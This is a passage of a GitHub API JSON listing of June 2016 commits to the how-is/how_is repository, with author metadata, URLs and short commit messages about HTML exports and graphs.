reports.","tree":{"sha":"f371724df25d1a5fffa54503fe4bb601bee0139b","url":"https://api.github.com/repos/how-is/how_is/git/trees/f371724df25d1a5fffa54503fe4bb601bee0139b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5d078fa63f10631b3812af4be0947889024257f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5d078fa63f10631b3812af4be0947889024257f2","html_url":"https://github.com/how-is/how_is/commit/5d078fa63f10631b3812af4be0947889024257f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5d078fa63f10631b3812af4be0947889024257f2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1e4759070c5eeccea1806b8fafedc031008f202d","url":"https://api.github.com/repos/how-is/how_is/commits/1e4759070c5eeccea1806b8fafedc031008f202d","html_url":"https://github.com/how-is/how_is/commit/1e4759070c5eeccea1806b8fafedc031008f202d"}]},{"sha":"1e4759070c5eeccea1806b8fafedc031008f202d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWU0NzU5MDcwYzVlZWNjZWExODA2YjhmYWZlZGMwMzEwMDhmMjAyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:29:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:29:45Z"},"message":"Version bump.","tree":{"sha":"94b4d4f67c27f4d74ab83f8129335faeba3809eb","url":"https://api.github.com/repos/how-is/how_is/git/trees/94b4d4f67c27f4d74ab83f8129335faeba3809eb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1e4759070c5eeccea1806b8fafedc031008f202d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1e4759070c5eeccea1806b8fafedc031008f202d","html_url":"https://github.com/how-is/how_is/commit/1e4759070c5eeccea1806b8fafedc031008f202d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1e4759070c5eeccea1806b8fafedc031008f202d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"53290000b3a557f2a296cca14f8f4264b750180e","url":"https://api.github.com/repos/how-is/how_is/commits/53290000b3a557f2a296cca14f8f4264b750180e","html_url":"https://github.com/how-is/how_is/commit/53290000b3a557f2a296cca14f8f4264b750180e"}]},{"sha":"53290000b3a557f2a296cca14f8f4264b750180e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTMyOTAwMDBiM2E1NTdmMmEyOTZjY2ExNGY4ZjQyNjRiNzUwMTgwZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:19:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:19:36Z"},"message":"Remove unused JS file.","tree":{"sha":"e82cca5c284461c09911c79bbee7765e46e021a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/e82cca5c284461c09911c79bbee7765e46e021a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/53290000b3a557f2a296cca14f8f4264b750180e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/53290000b3a557f2a296cca14f8f4264b750180e","html_url":"https://github.com/how-is/how_is/commit/53290000b3a557f2a296cca14f8f4264b750180e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/53290000b3a557f2a296cca14f8f4264b750180e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d944fecaabedc0366dd200e34d8f5a5efa7a0018","url":"https://api.github.com/repos/how-is/how_is/commits/d944fecaabedc0366dd200e34d8f5a5efa7a0018","html_url":"https://github.com/how-is/how_is/commit/d944fecaabedc0366dd200e34d8f5a5efa7a0018"}]},{"sha":"d944fecaabedc0366dd200e34d8f5a5efa7a0018","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDk0NGZlY2FhYmVkYzAzNjZkZDIwMGUzNGQ4ZjVhNWVmYTdhMDAxOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:06:02Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-06-27T20:06:02Z"},"message":"Merge pull request #17 from duckinator/html-graphs\n\nHTML graphs","tree":{"sha":"e03224841ac22e759af782f1843cc905ec4c2c80","url":"https://api.github.com/repos/how-is/how_is/git/trees/e03224841ac22e759af782f1843cc905ec4c2c80"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d944fecaabedc0366dd200e34d8f5a5efa7a0018","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d944fecaabedc0366dd200e34d8f5a5efa7a0018","html_url":"https://github.com/how-is/how_is/commit/d944fecaabedc0366dd200e34d8f5a5efa7a0018","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d944fecaabedc0366dd200e34d8f5a5efa7a0018/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c22f735743518ce98f75efed0444c94575e9f049","url":"https://api.github.com/repos/how-is/how_is/commits/c22f735743518ce98f75efed0444c94575e9f049","html_url":"https://github.com/how-is/how_is/commit/c22f735743518ce98f75efed0444c94575e9f049"},{"sha":"c459800144fa68094f40f479cd2cf73894b3042c","url":"https://api.github.com/repos/how-is/how_is/commits/c459800144fa68094f40f479cd2cf73894b3042c","html_url":"https://github.com/how-is/how_is/commit/c459800144fa68094f40f479cd2cf73894b3042c"}]},{"sha":"c459800144fa68094f40f479cd2cf73894b3042c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzQ1OTgwMDE0NGZhNjgwOTRmNDBmNDc5Y2QyY2Y3Mzg5NGIzMDQyYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:05:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T20:05:15Z"},"message":"HTML graphs work!","tree":{"sha":"e03224841ac22e759af782f1843cc905ec4c2c80","url":"https://api.github.com/repos/how-is/how_is/git/trees/e03224841ac22e759af782f1843cc905ec4c2c80"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c459800144fa68094f40f479cd2cf73894b3042c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c459800144fa68094f40f479cd2cf73894b3042c","html_url":"https://github.com/how-is/how_is/commit/c459800144fa68094f40f479cd2cf73894b3042c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c459800144fa68094f40f479cd2cf73894b3042c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"86206ce481736d69648322f8f0ccaa137f4ab9b8","url":"https://api.github.com/repos/how-is/how_is/commits/86206ce481736d69648322f8f0ccaa137f4ab9b8","html_url":"https://github.com/how-is/how_is/commit/86206ce481736d69648322f8f0ccaa137f4ab9b8"}]},{"sha":"86206ce481736d69648322f8f0ccaa137f4ab9b8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODYyMDZjZTQ4MTczNmQ2OTY0ODMyMmY4ZjBjY2FhMTM3ZjRhYjliOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-25T00:21:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-25T00:21:43Z"},"message":"[WIP; broken] Beginnings of work with Plotly.js graphs.","tree":{"sha":"4cd47833789e269a98b01d77fc944b7f39d1a7c0","url":"https://api.github.com/repos/how-is/how_is/git/trees/4cd47833789e269a98b01d77fc944b7f39d1a7c0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/86206ce481736d69648322f8f0ccaa137f4ab9b8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/86206ce481736d69648322f8f0ccaa137f4ab9b8","html_url":"https://github.com/how-is/how_is/commit/86206ce481736d69648322f8f0ccaa137f4ab9b8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/86206ce481736d69648322f8f0ccaa137f4ab9b8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c22f735743518ce98f75efed0444c94575e9f049","url":"https://api.github.com/repos/how-is/how_is/commits/c22f735743518ce98f75efed0444c94575e9f049","html_url":"https://github.com/how-is/how_is/commit/c22f735743518ce98f75efed0444c94575e9f049"}]},{"sha":"c22f735743518ce98f75efed0444c94575e9f049","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzIyZjczNTc0MzUxOGNlOThmNzVlZmVkMDQ0NGM5NDU3NWU5ZjA0OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T23:57:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T23:57:55Z"},"message":"Begin implementation of HTML exports.","tree":{"sha":"1399560ee71815d0ee1953dc82941660ba44314d","url":"https://api.github.com/repos/how-is/how_is/git/trees/1399560ee71815d0ee1953dc82941660ba44314d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c22f735743518ce98f75efed0444c94575e9f049","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c22f735743518ce98f75efed0444c94575e9f049","html_url":"https://github.com/how-is/how_is/commit/c22f735743518ce98f75efed0444c94575e9f049","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c22f735743518ce98f75efed0444c94575e9f049/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","url":"https://api.github.com/repos/how-is/how_is/commits/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","html_url":"https://github.com/how-is/how_is/commit/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73"}]},{"sha":"79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzliMWQyMGNjYjQwYjJmYmY0MWNjNDljNGI5YTc0MWQyZGEzZmE3Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:59:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:59:00Z"},"message":"Remove Reporter and empty spec file.","tree":{"sha":"93f3a7cec37225f1c339008c97b35c6e9212c223","url":"https://api.github.com/repos/how-is/how_is/git/trees/93f3a7cec37225f1c339008c97b35c6e9212c223"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","html_url":"https://github.com/how-is/how_is/commit/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73","comments_url":"https://api.github.com/repos/how-is/how_is/commits/79b1d20ccb40b2fbf41cc49c4b9a741d2da3fa73/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e69cd024917e58bae2cffbe04c29630e2de2131","url":"https://api.github.com/repos/how-is/how_is/commits/6e69cd024917e58bae2cffbe04c29630e2de2131","html_url":"https://github.com/how-is/how_is/commit/6e69cd024917e58bae2cffbe04c29630e2de2131"}]},{"sha":"6e69cd024917e58bae2cffbe04c29630e2de2131","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmU2OWNkMDI0OTE3ZTU4YmFlMmNmZmJlMDRjMjk2MzBlMmRlMjEzMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:56:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:56:47Z"},"message":"Fix executable.","tree":{"sha":"820b4f1c48cf43a24be9404d9193a4c0cba2f1ee","url":"https://api.github.com/repos/how-is/how_is/git/trees/820b4f1c48cf43a24be9404d9193a4c0cba2f1ee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e69cd024917e58bae2cffbe04c29630e2de2131","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e69cd024917e58bae2cffbe04c29630e2de2131","html_url":"https://github.com/how-is/how_is/commit/6e69cd024917e58bae2cffbe04c29630e2de2131","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e69cd024917e58bae2cffbe04c29630e2de2131/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b9f7190242289557f736e81c3dad536db05f098e","url":"https://api.github.com/repos/how-is/how_is/commits/b9f7190242289557f736e81c3dad536db05f098e","html_url":"https://github.com/how-is/how_is/commit/b9f7190242289557f736e81c3dad536db05f098e"}]},{"sha":"b9f7190242289557f736e81c3dad536db05f098e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjlmNzE5MDI0MjI4OTU1N2Y3MzZlODFjM2RhZDUzNmRiMDVmMDk4ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:47:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:47:07Z"},"message":"Move expected JSON response to a file.","tree":{"sha":"d9b766a744a96c0ff813865080cffdec914f51d6","url":"https://api.github.com/repos/how-is/how_is/git/trees/d9b766a744a96c0ff813865080cffdec914f51d6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b9f7190242289557f736e81c3dad536db05f098e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b9f7190242289557f736e81c3dad536db05f098e","html_url":"https://github.com/how-is/how_is/commit/b9f7190242289557f736e81c3dad536db05f098e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b9f7190242289557f736e81c3dad536db05f098e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ef59ab6c49fecf042d5af6cc2a57e0614338987","url":"https://api.github.com/repos/how-is/how_is/commits/4ef59ab6c49fecf042d5af6cc2a57e0614338987","html_url":"https://github.com/how-is/how_is/commit/4ef59ab6c49fecf042d5af6cc2a57e0614338987"}]},{"sha":"4ef59ab6c49fecf042d5af6cc2a57e0614338987","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGVmNTlhYjZjNDlmZWNmMDQyZDVhZjZjYzJhNTdlMDYxNDMzODk4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:43:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:43:49Z"},"message":"Fix and test 